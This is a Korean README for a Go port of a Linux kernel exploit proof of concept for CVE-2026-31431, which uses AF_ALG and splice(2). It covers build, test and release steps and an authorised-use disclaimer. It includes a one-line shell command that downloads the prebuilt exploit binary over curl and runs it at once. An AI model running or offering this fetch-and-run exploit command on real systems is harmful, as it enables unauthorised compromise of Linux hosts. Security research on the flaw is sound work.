
CVE-2026-31431용 정적 Go 개념 증명(PoC)으로, Linux AF_ALG와 splice(2)를 활용하여 취약점을 트리거합니다. amd64, arm64, 386용 사전 빌드 바이너리를 제공합니다.
이 저장소는 theori-io/copy-fail-CVE-2026-31431의 공개 Python 개념 증명(PoC)을 Go로 포팅한 것입니다.
이 프로그램은 Linux 전용입니다. Linux AF_ALG 인터페이스, AEAD 제어 메시지, splice(2)를 사용하여 원본 PoC의 동작을 유지하면서 작은 정적 Go 바이너리로 빌드합니다.
릴리스 빌드는 다음을 위해 생성됩니다:
linux/amd64linux/arm64linux/386각 바이너리는 동일한 대상 아키텍처용 페이로드 ELF를 포함합니다.
macOS 및 Windows 빌드는 PoC가 Linux 전용 커널 인터페이스에 의존하므로 의도적으로 게시하지 않습니다.
태그된 릴리스는 압축된 정적 바이너리와 체크섬 매니페스트를 게시합니다:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMS다운로드한 아티팩트를 다음으로 검증하세요:
sha256sum -c SHA256SUMS
요구 사항:
현재 호스트 아키텍처 빌드:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Linux 대상 크로스 빌드:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
지원되는 GOARCH 값은 amd64, arm64, 386입니다.
테스트 실행:
go test ./...
go vet ./...
테스트는 비파괴적인 헬퍼 로직만 다룹니다. PoC 트리거 경로는 실행하지 않습니다.
소유하거나 명시적으로 테스트 권한을 부여받은 Linux 시스템에서 바이너리를 실행하세요:
./copy-fail-poc-linux-*
한 줄 릴리스 다운로드 및 실행:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
동작은 대상 커널 및 로컬 시스템 구성에 따라 달라집니다. 이 바이너리는 모든 Linux 시스템에서 성공적인 익스플로잇을 보장하지 않습니다.
GitHub Actions 워크플로우는 v*와 일치하는 태그에서 실행되며 Actions 탭에서 수동으로 시작할 수도 있습니다.
릴리스 생성:
git tag v0.1.0
git push origin v0.1.0
태그 빌드의 경우 워크플로우가 GitHub Release를 생성하고 Linux 아티팩트와 SHA256SUMS를 업로드합니다. 수동 실행의 경우 아티팩트는 워크플로우 실행에서 확인할 수 있습니다.
이 프로젝트는 승인된 보안 연구, 방어적 검증, 교육적 검토 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에서 실행하지 마세요. 모든 관련 법률, 계약, 정책을 준수할 책임은 사용자에게 있습니다.